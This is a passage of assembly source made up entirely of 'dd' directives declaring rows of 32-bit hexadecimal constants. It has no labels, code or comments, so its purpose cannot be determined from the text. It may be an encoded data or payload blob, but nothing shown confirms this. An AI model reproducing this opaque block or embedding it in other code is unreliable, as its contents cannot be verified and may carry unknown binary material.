0DAAB3Ah, 939D8205h dd 733BA908h, 37461B00h, 13F4F08Bh, 0D31500C8h, 0FB532990h dd 0BAFADDCCh, 333A9DFAh, 0D2B0EBFh, 5642E786h, 21B3FAB0h dd 18E10B92h, 7A83BB1Fh, 0C8F01BCEh, 853A063Ah, 0E2BC9364h dd 525E07BFh, 5157E00Ah, 0B20E3EF6h, 60F45E81h, 29EE534Ch dd 1E20762h, 2056CFABh, 0B4B1A7E8h, 37D9ED12h, 554B0042h dd 81570465h, 982FAA18h, 68212508h, 0A565005Dh, 17A66F56h dd 9900E6E9h, 967052A7h, 0E1127Ah, 0B12B8DBFh, 79933CDCh dd 1856F231h, 98300992h, 602772A5h, 799438CDh, 40834D82h dd 0C44EC60h, 3D8319B1h, 0E3489E11h, 3CA71C69h, 6CBEEEC6h dd 0B19D3008h, 0F73BFC20h, 0E710EB01h, 0FE39B7E6h, 70BF88ECh dd 22130180h, 0AA482B23h, 6068B252h, 0F709301Bh, 6CA75C10h dd 0F701FEE0h, 90334000h, 0E2CF9539h, 36920085h, 138A58E8h dd 22024AFFh, 3A2A5A20h, 5044C6h, 56AF8250h, 25CE76F8h dd 7B092F65h, 1A701C90h, 0BDCA3BAEh, 9031E519h, 6011D4A5h dd 3E6960Bh, 0F708805Fh, 18A51C5h, 0BF19D439h, 0A6051691h dd 5E0C8BC8h, 3FADD861h, 74803FF0h, 0DABDF8A9h, 4E3A1A38h dd 8003BE20h, 5542DF01h, 833519h, 6E17DDF6h, 0AEE3E4Eh dd 84708500h, 4918F42h, 88900029h, 0BBA3039Ah, 85030C67h dd 6106EAA0h, 8276B826h, 1EE70291h, 939A8B12h, 58E91487h dd 90588288h, 0AE0D84CBh, 5FA2FD44h, 0FF213451h, 91A07E08h dd 82EE07C1h, 8565F4D9h, 86B43D81h, 73F6AFC8h, 0F7A20180h dd 31AEDB84h, 6CF3EC5Eh, 0F1009D7Fh, 0F9B59B62h, 7BBB336Ah dd 0C9C500E3h, 0A4355250h, 120073D0h, 0A5026081h, 3A1C5668h dd 3780E0FDh, 0E417C4B7h, 5507105Eh, 0DEB2A7ECh, 925C9910h dd 0AEE5004Dh, 3D53B373h, 8D0795EEh, 0E2412258h, 88743EC0h dd 0A1CA0399h, 0D28CC1EBh, 0E4DF0900h, 91D54BABh, 0A72F00B1h dd 4C53ADE0h, 0AE174987h, 0D10089A8h, 6E824E73h, 0C4A10FFDh dd 486CE472h, 0E3009820h, 58037515h, 7A92B3Fh, 0B58259EBh dd 2E97A06Ch, 95000578h, 7237808Ah, 834010h, 630DEB6Eh dd 4990AEE8h, 3913600h, 7251EA1Ah, 997F05h, 1CC00C48h dd 7A1BA34Ah, 460009E2h, 0DB3D60B9h, 0C18C7CFDh, 0F87FBD49h dd 0EF6AE03Ch, 0E36F0901h, 0FDAC297Bh, 30CC2060h, 6E604EBCh dd 89806CC4h, 0BF8C00EBh, 0AB1897EEh, 91B850FDh, 8F46E70Fh dd 0BBBC80B8h, 53325Ch, 0D80DCDA7h, 89D23EDh, 0E400B5E2h dd 634B8E69h, 0E8349241h, 0CD120081h, 0C30B948Bh, 0A30F9FBAh dd 602D085Ch, 9207D85Eh, 0FBA92654h, 0F5B0067h, 0EA0C423Eh dd 0BAFDD300h, 0AB910178h, 60EA95h, 6DF576DDh, 5B06293Bh dd 6600707Ah, 974DE080h, 10F7A0h, 85CE3FD1h, 0DA77FD96h dd 888E3704h, 1ABA772h, 0BCDACA6h, 0CEB20A5h, 0F5ABF800h dd 0F2B6FD73h, 0F0D90377h, 0A2D4708Fh, 0A0C2C0C7h, 0CA0069D8h dd 0D29E30A8h, 403D51h, 206C9D1Eh, 5AC31F3Eh, 63A41107h dd 62401099h, 0DF05E4h, 16295D4Dh, 0A2835D5h, 7E84B30Fh dd 0CE0002Dh, 5BACCF2h, 5DAB4A67h, 68EC2C49h, 33081201h dd 0E60DE7D2h, 0C0AD949Ch, 65904D50h, 8FCA7D1h, 52E09964h dd 1C7AF8C0h, 0E4E21F9Bh, 2823C078h, 0E6091A24h, 7AE54350h dd 0CCF67D00h, 0B24D6EFCh, 51702833h, 0B13E39E8h, 0BB0E2180h dd 806F7D8Dh, 97144C00h, 0EDD91A25h, 2CB600ABh, 5B0D7C76h dd 800722Bh, 794B2E5Eh, 0BF41F4h, 0A1862509h, 0D7203B80h dd 77E8FE0Fh, 0B6228206h, 579E043h, 0DD8E00FCh, 0AF6E3789h dd 0B00F283h, 3E6AAEAAh, 0B8C4A71Ch, 0E517FA9h, 35E6173Ah dd 5D76D420h, 0A900A5AEh, 1574DC38h, 60C3F4h, 0BF4663A7h dd 67835196h, 8882DF28h, 165CCF00h, 1056F41Bh, 53D6391Dh dd 5D8030B9h, 0D95ED518h, 96ECB11Fh, 0CA3A987Dh, 0C8C3002Bh dd 0F0723E11h, 39D90069h, 0A68836F9h, 26501A35h, 43222BF8h dd 90340019h, 7058E916h, 3800AAE1h, 5EF6FA25h, 0EABC14DAh dd 0A21F0ED1h, 50A17413h, 401E730Eh, 0F28423B8h, 0D34A3600h dd 8C706297h, 60FF00B6h, 0DB4706C4h, 0A414408Ah, 1E01B8Dh dd 1D4FB246h, 6EF0F549h, 5E640012h, 0DE178813h, 3403762Eh dd 0B6AC4E02h, 0B31000DFh, 790A5D5Ah, 2C0712F0h, 3526FA94h dd 4C9B10C0h, 17B43CBDh, 92C02E80h, 813660D4h, 0E502E4B0h dd 6F14111Bh, 130C616Dh, 7A003C32h, 0CE5A9895h, 7C1CA4ADh dd 71406D8Fh, 0D90C3B8Ah, 0FF1F0013h, 14B4A8F5h, 0F7F0FBEDh dd 0C499D700h, 9B7CDF31h, 3B4240C7h, 0A06182FDh, 8050D9B7h dd 0F29A278Ch, 1A5F0248h, 576D96D7h, 711DA700h, 0CBEC5Ah dd 807FC272h, 0A43C0191h, 3853EA02h, 600F4D44h, 2CE4D9BFh dd 0F267F4h, 0BBDF0BCFh, 2500F90Ah, 18EF6F54h, 8B7A5Dh dd 0D1563A5Ch, 51F62095h, 71049777h, 0C914C98h, 0CEBBDCC0h dd 3A77023h, 0C7768BEFh, 0FBA030ABh, 0B1016E5Fh, 16D97540h dd 88C8BF2Dh, 1D0CA67h, 146680C4h, 0E480BC1Fh, 907F4D00h dd 7746B0C0h, 712F24ADh, 0BC0B00A0h, 0DC7D0E9Ah, 0B72DA300h dd 44588C43h, 32EB2C37h, 9EB30010h, 1E4A0E63h, 432C670Eh dd 0EBC443CCh, 1866B136h, 94CDBF8h, 9E237D2Dh, 0C083ECA1h dd 54680038h, 0E0A201CBh dd 1C928172h, 5B40346Bh, 41E2F8C1h, 3C303229h, 0F5F3007Bh dd 0B7221638h, 4D0009E1h, 87713A5Fh, 14F72B5h, 0E843AA64h dd 0FCB135A1h, 700D1C2h, 66C9013Ch, 0BE639Ah, 1B659C1Eh dd 3AEC327Bh, 4794E500h, 0A425052Eh, 95040358h, 0CF198A77h dd 40D86CD9h, 50910FE1h, 270C85F2h, 10753B2Bh, 3F477C6h dd 0FAFFC35Eh, 22D8AE8Bh, 0C1096F82h, 83277Fh, 1E24D7F8h dd 0F05C48D3h, 0A81CDA80h, 300C55Bh, 7C1A62Dh, 0E9D60C9h dd 2252A580h, 850CB80h, 5807F386h, 0C1E12E20h, 0D6E413Fh dd 0F8202493h, 1EB0053h, 340676AFh, 5B098E31h, 574A09h dd 0F4A32C58h, 585E0079h, 0C4E76EE4h, 3500CE27h, 0D81EB0E5h dd 10D47B8h, 58E2D09Ah, 0FCF67CD4h, 2D00C062h, 0CB086D93h dd 30C91B8Bh, 0FBFE64DFh, 3800AF7Ch, 5F2FD20Eh, 876511h dd 7FC752Eh, 0EA896DEFh, 984B52Ch, 0AA8F003Dh, 0CE90F796h dd 0E241C1B4h, 0E787317Eh, 0F2931100h, 701F15FAh, 58F80028h dd 56A9D4DAh, 6804A2ABh, 0DB6C2151h, 0A6EB47h, 0DCCD6F33h dd 5F54230Fh, 0CA88E068h, 3C932655h, 0AF962D51h, 7FEC004Bh dd 4C273DC2h, 936D11C1h, 0A9FC0DE1h, 12BC0AEAh, 9D491D2h dd 842349F0h, 0B4E8D973h, 0EF77FF43h, 745AC72Eh, 0D8E70B80h dd 0EB8060Eh, 34F0B62Ah, 81EFD185h, 0E198BB79h, 0E61CC4ADh dd 7E0FB100h, 2F1D82B4h, 3604001Fh, 2131F676h, 0F800DE01h dd 6D949874h, 590CE990h, 280B8865h, 1480491Fh, 3BED0524h dd 5AB8640h, 31877DFFh, 3208C0F1h, 8C0078FEh, 917FF93Ch dd 7363E53Bh, 7CB3078Dh, 0C0C796A8h, 65CDB586h, 25BC2E00h dd 0F285C16Ah, 916412CFh, 772440E0h, 0E21A341Eh, 1D9E3F04h dd 70C0D327h, 8EDD4h, 59E067B8h, 5F3752Bh, 490B3Ah, 253FBE76h dd 0AE173h, 275A39A8h, 93DA9189h, 710DE000h, 5513AAF8h dd 0F4B900B8h, 98BA799Ch, 7B16B467h, 70095D3h, 6054D949h dd 7F8800BBh, 0E59CB9C1h, 0B600BDDEh, 8AABA746h, 0E8B149Dh dd 241CCDD4h, 9288FE20h, 5F009A71h, 0C7325863h, 7AB08DF7h dd 6EEC0003h, 0F897918Bh, 0BC0E8A1Bh, 4088C0C8h, 5C4C1930h dd 50A0EA9Eh, 9CC9FFh, 0DF0957CBh, 0D0A422E4h, 0FCB5E000h dd 8AF33973h, 1D3C0193h, 0E4A9979Ch, 0BA04208Bh, 921AA71Eh dd 0CF4FA19Eh, 4016C354h, 764EF0BEh, 0CBB70033h, 0C759A3BBh dd 2803471Bh, 3F732D49h, 0F472B0BDh, 0C6D091Eh, 0A4839BFEh dd 0D3D8C5E1h, 9000AECCh, 0FAE31834h, 9557F4Ch, 54666B35h dd 857C2E80h, 0B8C0DDECh, 5CD9CDA2h, 596A00EBh, 122076DCh dd 8E51D00Fh, 94A3C8B5h, 0BD839D09h, 0F99440E5h, 0FA3E037Ah dd 6A9E4C0Eh, 1FD07CA8h, 6CE94E00h, 3703FDD7h, 0AC9034h dd 0E3B29925h, 8471564h, 4EE46D02h, 607C6833h, 6B4030h dd 40AC41Fh, 9DE264C1h, 3EA0671Dh, 7B815744h, 0BFC0EAC0h dd 3D751D48h, 58CC4269h, 48A0AA38h, 252EA2F1h, 7BFE0605h dd 58C03661h, 1FA02307h, 45099AD2h, 877EF57Ch, 0DE506022h dd 0FBF45FD5h, 8BE97600h, 34E3B028h, 4E721F0Ah, 9BF84007h dd 0DF75172Ch, 33D4800h, 2264A3B1h, 5A50077h, 0E76BA655h dd 0BE00211Fh, 6CB45CA8h, 93487FCh, 49409691h, 47C507F5h dd 619EF150h, 2400984Ah, 945788h, 0A1244FE9h, 722C2244h dd 0C005008h, 0BF258443h, 38FC007Bh, 31C6C770h, 0AD002F18h dd 9BEF8BF9h, 1F5C22C8h, 0C0B6BE14h, 0FCD527A6h, 0F80F56ACh dd 4185C705h, 0BA822DE1h, 58F21070h, 0A1050F94h, 80692A58h dd 0F9645EDCh, 0D3243DFAh, 0C0120B9h, 115CA2B3h, 68C6C0F3h dd 1BB0927h, 0FC40C7D5h, 2FE67921h, 81B1690Bh, 5990806Fh dd 1CEF2Dh, 48971407h, 3116A187h, 3AA89800h, 1557AB4Ah dd 0BB3D0E77h, 0DEC4F6C2h, 3B94C086h, 0CFE6FFB9h, 0A97E8B12h dd 0BC83181Eh, 0CC2BF2F4h, 0AB741080h, 723AE083h, 0F72C0189h dd 80A7F1DDh, 0D398404Eh, 0CB0055A2h, 0E157C010h, 3AB1956Ch dd 0C58D4E7h, 1BE44202h, 0FC616AFFh, 0CEB8242Fh, 0EAC11C0h dd 4036556Bh, 40002869h, 10D4E6DCh, 22EEEDh, 0B44F4590h dd 344A7F7Ch, 13FDE0A9h, 0E34CC156h, 7D132ECh, 61940439h dd 0C75E65A2h, 0D51600B0h, 39C258C9h, 8839C789h, 3C38B8A7h dd 0E9E580B7h, 18B895FFh, 48A20087h, 85753A90h, 4604CC47h dd 0FBBFB5B9h, 986210C3h, 7AF13833h, 17F5008Ch, 0A8343B4Ch dd 0F030088Ah, 0F9606871h, 6ADA28BDh, 68C002E0h, 6BDBBA2Ch dd 0AE09088Ch, 0DF903FFAh, 0EC388800h, 0F8029267h, 1DE006Ah dd 4C836E8Bh, 0F200821Eh, 0A9A2B7E5h, 1098ED4h, 0E7A4D99Ah dd 40206655h, 90D0E8D4h, 0AE452409h, 7B08002Ah, 1E35C351h dd 18BE82h, 0DF02A592h, 732826D0h, 20A0FA83h, 0F070425h dd 3F6945ABh, 812B0900h, 0EA0DF8ACh, 522A2CCBh, 0B5C00ECh dd 20399179h, 0D99FD400h, 0EF96F9E6h, 0D040F931h, 2981E95h dd 8EA0620Bh, 0B8C9B0CCh, 9FF028A8h, 20C08A52h, 2084A7h dd 6635A24Bh, 72EA43B7h, 44BD6E17h, 5FA56802h, 4C7005h dd 0AFDB4A0Bh, 0A3F72620h, 60C4EA00h, 63F6BAC2h, 2AD20E80h dd 0E7841F3Bh, 9BFD805Bh, 0C057EC3h, 0F82BD854h, 9CC483h dd 8CF2A091h, 3D200A41h, 56808A00h, 0DF897E95h, 0B6EAEFh dd 0B5166ACCh, 94A866B8h, 26E45C00h, 0DAE674C1h, 0D0C3EDC9h dd 509E2C6Fh, 2610C07Bh, 0A4A85Fh, 591A88FFh, 0A230CA30h dd 2CCB21F9h, 0EE5100D8h, 0A0660C95h, 0CE030F2Fh, 0AE74C831h dd 0C492F3E2h, 240890E0h, 3BF01Fh, 0A546F70Bh, 0D230A9BEh dd 13140E6h, 361901E0h, 8D41E9E4h, 7906DC04h, 72B1C200h dd 43B6E6CEh, 776C0050h, 4404A5E3h, 7303934Dh, 67129591h dd 0FA7BA00Bh, 59281776h, 0A3D007DDh, 4760514Eh, 6BCFF87Fh dd 3AF85Ch, 4FD4F611h, 0C010D341h, 0F3C03609h, 0B0079C5h dd 0FC3B5370h, 0E58BB165h, 0A4D50471h, 0D1B3E643h, 0ACC4BC63h dd 957D66h, 45811AD7h, 363799E4h, 15003874h, 3D9B5634h dd 3B904E3Ch, 2FF0510h, 47D95159h, 51C0CF7Dh, 0C51D3424h dd 0C4004F0Fh, 9A93C8CDh, 0FFBA0059h, 9B04DB97h, 0D5980EE7h dd 0BD0098F6h, 416A1934h, 121BBFh, 0BC7CF828h, 66A407A5h dd 7193261Fh, 8187E409h, 0AD116314h, 0DEDF1E8h, 0B51D74A2h dd 7003FBD8h, 0A78F440Eh, 0B34BE86Ah, 37890019h, 0DB956D1Ah dd 3200C1DAh, 361640EFh, 0B2A494h, 54CE7F1Dh, 4A646203h dd 0D06FB600h, 5329C886h, 6EDC1C11h, 11ED28Dh, 2198CB4h dd 91FDD098h, 3FD0572Eh, 90002A26h, 0D9A6CE7Dh, 0EE5A30B7h dd 6A80B511h, 1EB8674Ch, 0C3014CDDh, 313A7ED9h, 7123230h dd 6380AF8Bh, 8940EEB1h, 97BB85B7h, 0CD87B903h, 5C968Fh dd 99539570h, 0CB5F8180h, 8315D707h, 2F4F9325h, 8913E033h dd 0F49BFD3Bh, 0A9CE0056h, 100614E0h, 1900D580h, 3655335h dd 0ECDE7Fh, 0E450E5BFh, 0CE7E4B96h, 5848800h, 0A7034A48h dd 19F16029h, 637A90A5h, 464E5501h, 0DC320DA8h, 1CA71C70h dd 402166D4h, 0FAC2708Ch, 6200E9F7h, 898A94EEh, 1F9F0E30h dd 405065BDh, 0A84EA5B7h, 480521D1h, 0FCFA7311h, 0D8C94DC3h dd 0FA38A28h, 0CB8240B7h, 0EA665700h, 5009427h, 0FA259519h dd 13BD66Eh, 149FF988h, 0D78EB6DAh, 0AA28C0A0h, 0E0550907h dd 97F0C64Fh, 4BCD3Ah, 74FD2AE6h, 3563DBC3h, 7A8B1500h dd 0AC971E5Fh dd 1C92B6h, 0E217D3BEh, 0F40796D7h, 0E3826300h, 0FE9DA8F8h dd 88D900E5h, 848AF6E9h, 0B563C7E8h, 0C065EA96h, 3EB3FA15h dd 66801392h, 0B4E91483h, 6200AF0Ch, 39E73CB1h, 3C283DBEh dd 0C0C96DE2h, 19503200h, 0C107992Ch, 0FDA7F950h, 0F3259406h dd 0F018FA65h, 11296472h, 0D6690081h, 9087DBAAh, 0A5443D90h dd 31CA1101h, 0C0047F5Bh, 480064F3h, 3E73CE8Eh, 0C3F324Dh dd 0FB6A8119h, 0FD02B578h, 72E5F97Dh, 4108666h, 30739080h dd 5F29FF71h, 0D7014D29h, 5C77A64Bh, 0B6E4DC2Bh, 0F2C21EE9h dd 63DD0796h, 7DADC08Fh, 1B00CEE4h, 455E70B0h, 0F1A3D4h dd 0D11129EEh, 164B66D7h, 0FF3DCD00h, 2B0F0DF5h, 56CE00E3h dd 57F29704h, 0AC020BB1h, 48448BE4h, 5DCC84ADh, 3C1C29C5h dd 57797BC0h, 516C7A42h, 9A80852h, 0EC7C0F98h, 1680FEA6h dd 0E245C05Ch, 0EE8C5000h, 2FDE57FDh, 613B0011h, 78CBF851h dd 0E2022054h, 468CDD9h, 0D80060E0h, 0F3F200D4h, 0DF917A02h dd 5A00A7DAh, 5BF67C08h, 9921D3h, 2CCD7376h, 437DA226h dd 0DA009090h, 0C15AF60Bh, 169D6Ah, 26F28FD4h, 56E701D0h dd 0BF9CD113h, 5F68AC00h, 3FBC1DA7h, 0EB928BBBh, 0F1D00CE1h dd 99001880h, 0FC7CA6B5h, 0B99FE4h, 0BF3C5089h, 0B068AF65h dd 825D9100h, 333772C5h, 756C03A7h, 1084B1C0h, 3EE0749Ah dd 7600EC6Eh, 0B0E1AA0h, 33C124h, 460C9C7Fh, 413BF8Eh dd 0E8D5DF00h, 0F3CE543Dh, 2F5A2425h, 0CF281DA0h, 2D4022E1h dd 41BC6DB9h, 0BFC7438h, 81EA95B2h, 0A15CE4DCh, 189AD2D0h dd 101E038Bh, 7000DEB8h, 0D3C5D1F2h, 504934h, 0A7D71FCFh dd 9EA46F36h, 7CCE3300h, 4D8CED52h, 0EFCA1C59h, 8A19C08Eh dd 4C63E5D1h, 0E624B400h, 0E3126882h, 3F9300AAh, 3C15AB1Fh dd 0C500A120h, 0E5CAD428h, 61F3A31Ah, 18FD4862h, 156300F0h dd 0BF283037h, 8F626B16h, 0A15D3Ah, 92F5395Bh, 0C1F38CA4h dd 0C43BEF49h, 1100C7E0h, 300D12C2h, 0AE6CF8h, 620F960h dd 0FA78E808h, 0FDC3Ah, 0AFEB2951h, 0E1E66CAh, 0CD6CB26Dh dd 1BE0A5AEh, 222E7807h, 0FF51041Dh, 5FC5D280h, 80C685h dd 7927604Eh, 5EF26140h, 8AA69F00h, 0A984710Ch, 0A8D008Bh dd 1E1CF0BEh, 18003D33h, 14EB8FA6h, 0A769FFh, 7D59D6A9h dd 3C7F5438h, 58A840h, 41505D03h, 9CCBF98Bh, 0E7DCD3Ah dd 0E07B9693h, 0DCD9B461h, 38D60E9Ah, 0CE60A0B3h, 93D42DE8h dd 6EE741Fh, 0D1E57740h, 0E0CD8F9Ah, 44F0F38h, 0D8000B3Fh dd 0EAA43AB8h, 993F300h, 391044C9h, 0D32E0FD4h, 2B208D59h dd 0A3FC778Ah, 64AFE300h, 0CAE16FFh, 0EA032C48h, 515A00B5h dd 309E7867h, 0DE098AECh, 0C96ACAh, 21E72520h, 0F73100ADh dd 5691AC33h, 23034E40h, 1EA7A15Ah, 993DA12Dh, 0D2AC8888h dd 0A3B20A40h, 0C29628EFh, 10F400E0h, 0B7913F16h, 197F3318h dd 6CC0EE04h, 4808369h, 3F3E421Bh, 4100E73Bh, 21EABCA8h dd 0D60E97ACh, 1593EB0Eh, 0E1A500ACh, 95B004CCh, 0E3AB0092h dd 4B28FA60h, 0B40E73D5h, 23AA4DA0h, 0CAA676E2h, 0D44042C9h dd 0A2843F1Ah, 80771DDBh, 606DFB00h, 456C81C1h, 0E0E43817h dd 669000F4h, 60CC31F9h, 0FF1D6AB0h, 0ED00A422h, 84153D17h dd 2F143896h, 2EC98600h, 0A259CAE9h, 8076F33Fh, 5D9CAA65h dd 5F6C77h, 7BEC2325h, 6A07C03h, 4A93B200h, 0AB8AAE62h dd 4EF3006Ch, 31382139h, 0EE00492Fh, 72C05F7h, 17987CFh dd 69EBCDEFh, 0E8A57AC4h, 0FB0BAFA1h, 80B8110Dh, 98B77F5Ah dd 0BAE424h, 69D6FAA4h, 9083E57Bh, 16E827ECh, 0BE00B5F8h dd 0B2FE2EE9h, 0F9478F3h, 5868AA09h, 625AF580h, 4C00E60Ah dd 1E54DBAFh, 0A1EA30h, 0A537A26Ah, 0C01A63E9h, 0F750A77Bh dd 0B80007A8h, 3E5CE27Fh, 4E5704h, 0A5390E59h, 0C638F8CCh dd 4385FCA1h, 0DAB912F8h, 9F37F160h, 0A1C05319h, 7AAF8474h dd 5F6E00AEh, 50033647h, 0F000DC62h, 95420157h, 171FB0h dd 3FFC29CFh, 0F9FD30C6h, 5861C04h, 4C0FAE9h, 0A07AF738h dd 0FC6B8A98h, 0A2EE0630h, 19C53FB2h, 5960040Bh, 4CE900CDh dd 41D43B7h, 0D2A0D185h, 0C9F780AFh, 140056F8h, 0BFEF2B7Eh dd 0E71061h, 0C03FB3AAh, 6D652A4h, 6C3B5500h, 0D8381C31h dd 0FA723BB4h, 0DBFF6600h, 0D49B9689h, 95A7800h, 0F5E0E39Fh dd 51CC011Bh, 85CBA7BBh, 0DBFD4D9h, 9FEEC500h, 4A017F81h dd 655C0043h, 0BDD48089h, 0EC009BA0h, 5FA9E252h, 3A804DFh dd 0BBFED363h, 1800518Dh, 253CA09Dh, 906716h, 0A17AFD53h dd 0AE98E015h, 4A61D901h, 0AB2E0C4Fh, 353F3083h, 0F9D0D2D8h dd 5D00E445h, 0FDF3F79Bh, 0C25B473Dh, 0ED8B66B0h, 0C026D4C1h dd 6C00BD43h, 0B5C8AED2h, 1877291h, 4A575CB3h, 0F890B9A4h dd 0DA00F863h, 98FA35C2h, 71682ACh, 911D5201h, 0A0EEA0A5h dd 0F800BF02h, 23683415h, 0BB6E5Bh, 1EAD379Eh, 0C73DEBBEh dd 0A19DCA00h, 0F4123EB5h, 7807601h, 77E646D2h, 302F20B1h dd 0F00DFBFh, 0C011EDDCh, 530D9Ah, 2BE71CC6h, 6CF6F05Dh dd 0FACA4703h, 0E1C73C78h, 30F85B43h, 737F8Dh, 0C663D851h dd 2E9D6509h, 14669E00h, 22F9B87Dh, 0EE0500B6h, 2444CDBAh dd 0FA0BBBE1h, 8960A7ABh, 0A4AD874Fh, 82201A50h, 2305017Ah dd 788EAD9Ch, 550F200Ah, 0F7C63E07h, 0F88091FAh, 0F6F413h dd 972AD662h, 4278FDFBh, 645ACD00h, 71F56FC7h, 7D5D0032h dd 12066A17h, 77002CA1h, 0F70E27EFh, 1F479FFh, 8E208197h dd 0E84CD6AAh, 0EC00BF80h, 0A4CE91FDh, 0B60BB7h, 0CB748E3Eh dd 8F84836Bh, 0C3ECF700h, 0B7FC864Fh, 1E6E7791h, 0C05D48CFh dd 2150E3E7h, 0BC00D420h, 8641CC76h, 0B0BAB1h, 80BDB28Bh dd 90ADA29Fh, 0BE01DDEAh, 0B8374E88h, 0EE82274h, 0CB1300B3h dd 1B558589h, 4572FEFBh, 1529B401h, 3E88C9EFh, 4B95C0CFh dd 0CF0C00EEh, 6EDB506Ah, 7AEE4C79h, 90FE3750h, 14404D00h dd 77209E6Dh, 281F001Bh, 4110933h, 0DCE30527h, 1E00023Ch dd 130F312Eh, 0E0182219h, 0B35052Ah, 81251A17h, 0E437D4ECh dd 26000515h, 0A62F1204h, 0E479E49h, 1DC23E9Dh, 8C1FCB81h dd 70BE18h, 0CCA2F397h, 0B8FA0950h, 0E9F4E8F0h, 6164ECD8h dd 2C69943h, 130BC69h, 706CD2EAh, 99D3BA95h, 1880A2FEh dd 385B276Dh, 5E09F8A6h, 561265h, 77AC03CDh, 0F24601ECh dd 1F0930C8h, 30404483h, 94384B20h, 19CE5F39h, 0F531F712h dd 50ECFBE0h, 0C04865h, 7B2516DBh, 739D4138h, 216745E8h dd 270F458h, 58DEE20Dh, 1E3BF67Dh, 56C45D00h, 0A4524B4Fh dd 80D9403Eh, 873EF67Eh, 0B474CEh, 0D027D8E8h, 0AB681A07h dd 23E40900h, 0F108C4D3h, 6B750Eh, 0A2D7310h, 9FBC8002h dd 4628BB05h, 0B8C0F8E5h, 0BA8DADh, 6524FDD2h, 7A70D05Fh dd 0DBBDAB01h, 3513C368h, 0D9FFCh, 0C67CA054h, 0D91B966Ch dd 98901F00h, 0F77880EDh, 0BA840E04h, 0BE80D024h, 18A8196Ah dd 0AD25448h, 849DF455h, 0A2992880h, 9F9388h, 9A91B6A0h dd 0A7948BA5h, 838EA83Fh, 5F8AACA3h, 0DA3C75Eh, 0FA1E082h dd 29AA008Ch, 0DEB2E417h, 0D87E9F1Eh, 0FE50727Eh, 871211A1h dd 385E1F33h, 0AC446E40h, 7B3D3203h, 0A46D01E3h, 0C6A577E8h dd 0C946D094h, 0AE707400h, 0FDA0DA01h, 0B860081h, 0F080C8E6h dd 0B358BA9Eh, 2FB00F63h, 0F158C0A0h, 169AAE2h, 52D3BFFh dd 0C0FA49E4h, 2C0085A6h dd 686136F9h, 67FF14h, 1E0C2FB1h, 0E3C83128h, 7AA138h dd 0D6A9E404h, 0B981ADh, 8A343BA6h, 19DC12F9h, 0F20C9A17h dd 297A8800h, 0FEED2A14h, 10D7007Bh, 252D2082h, 5FE4D18Eh dd 5BBE3200h, 0D452D259h, 0FAA2F8B0h, 0FDA500B3h, 7AE44080h dd 0D8005DC1h, 8C9EC3E3h, 18505163h, 119A202Fh, 2A00E973h dd 0FBE378Bh, 467601h, 7717FB7Fh, 58C0D04Fh, 24D57900h dd 5393346Fh, 22D60061h, 0BE138FF4h, 0C900749Dh, 375D72D5h dd 48A073EFh, 9512739Ah, 0F47C4E30h, 62BB75C3h, 8D511CB0h dd 5CE66300h, 0B410A54Ch, 796812B7h, 0A7A8409Fh, 0CC6469CDh dd 6F20B304h, 92C03FF3h, 169E13h, 616DEBBBh, 0F5E98109h dd 0ECD78900h, 0E356B691h, 6AD830DCh, 4595860h, 3AA4FA00h dd 4CB5EB17h, 0EAFD0B21h, 568C45D9h, 0D5001F29h, 0ED28E00Dh dd 0F65EA3h, 0B673B7DBh, 254348D2h, 0E2708A00h, 0DAB4AAECh dd 47BE0053h, 0A7CB3549h, 0D200088Bh, 241884A8h, 18748F12h dd 50C6B704h, 0A901F10Ch, 8862A87h, 94303ABBh, 37B00AAh dd 7F8DB12Bh, 0FF00CCC9h, 82945CB2h, 0F22A21Fh, 3FA1A5DAh dd 635DB180h, 0BE00D6DFh, 96D32D50h, 0C5BA71h, 40AC6D78h dd 55CB7BBh, 1A085915h, 954301B8h, 8257B848h, 9256A450h dd 1D6BF4E1h, 1DBFD060h, 95C406Dh, 0C540282h, 9F22B116h dd 97057B13h, 0D447A7BFh, 0EF903465h, 0FAD45669h, 0C6680018h dd 0E7B5F3F8h, 4901922h, 0B4418926h, 2D1F80B8h, 0DF1C872Ch dd 0EC840764h, 31BD58F2h, 0DCB168AAh, 0BB0EC088h, 20E4A709h dd 49C5EEB9h, 95D60C89h, 5A44B676h, 384CA970h, 0BCF0281Dh dd 0E678741Eh, 12329D00h, 3464BFh, 6FC07079h, 49B24A8Ah dd 389B4848h, 0BC5F8032h, 70616C16h, 8F4005Dh, 0FC2B534Dh dd 0C761E3F2h, 6D778C98h, 1FE6B980h, 0D1D2F2Ch, 0F9433817h dd 7FFB6000h, 3E51FCh, 81988F5Eh, 0A2FA484Dh, 5A075572h dd 0C2FF6736h, 161EC0B3h, 40033B7Ah, 0D65D2C70h, 1B00F410h dd 0CFF8D21Ah, 13E11950h, 1557F5h, 0F7BA371Bh, 0FB1D453Ah dd 0EA00B8B1h, 4C8CA3CFh, 504B01B4h, 0BCFACDCBh, 31E1434Eh dd 7A19D7F8h, 82981B48h, 60E7AEF9h, 76CCC5C1h, 45E490h dd 0F56BC01Eh, 227CA14Bh, 0C95471E5h, 1C73F45Fh, 1BFFA3Ch dd 55D6966Bh, 0F8EFFC2Eh, 0B4FE9h, 0AD3D2966h, 0A63C2319h dd 4C163507h, 2407A27h, 71F36AB1h, 179D00EAh, 147EA0B8h dd 0E80046B6h, 322CC496h, 1FCC470Ch, 0FA1B057Bh, 0A65BF487h dd 0F9244038h, 6A50624Fh, 0E848B2BCh, 717602F0h, 0E0576EBFh dd 18334F9Dh, 0BECCDFEBh, 683F99D5h, 6C12FB6Ah, 4C00E7B8h dd 9850B9F8h, 10E8621Ch, 73E1786Ah, 0ABA0E8EEh, 9B8E9E04h dd 6180547Eh, 5C4BDEh, 0EFF80D2Ch, 5B53DB09h, 4E67D0E7h dd 77D11E03h, 0A49DCB62h, 23A80891h, 3833E820h, 0D91E0B81h dd 0A5FF4006h, 34670E2Ch, 0FADC9A3Ah, 8651B00h, 58327133h dd 0B1DD0096h, 0AFD3315Eh, 0A0003F83h, 85271916h, 48451E08h dd 73ADAAh, 0A66A7425h, 8AC66C7Ch, 0A99BF200h, 0AF942B8Fh dd 91F907D9h, 9A0F63h, 7E902328h, 404C0B1Ch, 0E324499Ch dd 0F4543303h, 6E9900Eh, 9D960067h, 9FC510E7h, 303CE608h dd 5DDF0082h, 6F4407F0h, 34A701F5h, 62DC3717h, 0DCA5C14Dh dd 84002618h, 0CF7A0764h, 559DC3h, 0E2BBE71Dh, 6CB2DD80h dd 0B0517C00h, 0A41EB3F4h, 0FF43037Dh, 0C26F9EB6h, 0DCA78FE0h dd 0AD124500h, 0D4863D9h, 34590160h, 9D1115D3h, 418F7095h dd 62431700h, 975F86Ch, 70880038h, 1A106850h, 0BC0EE525h dd 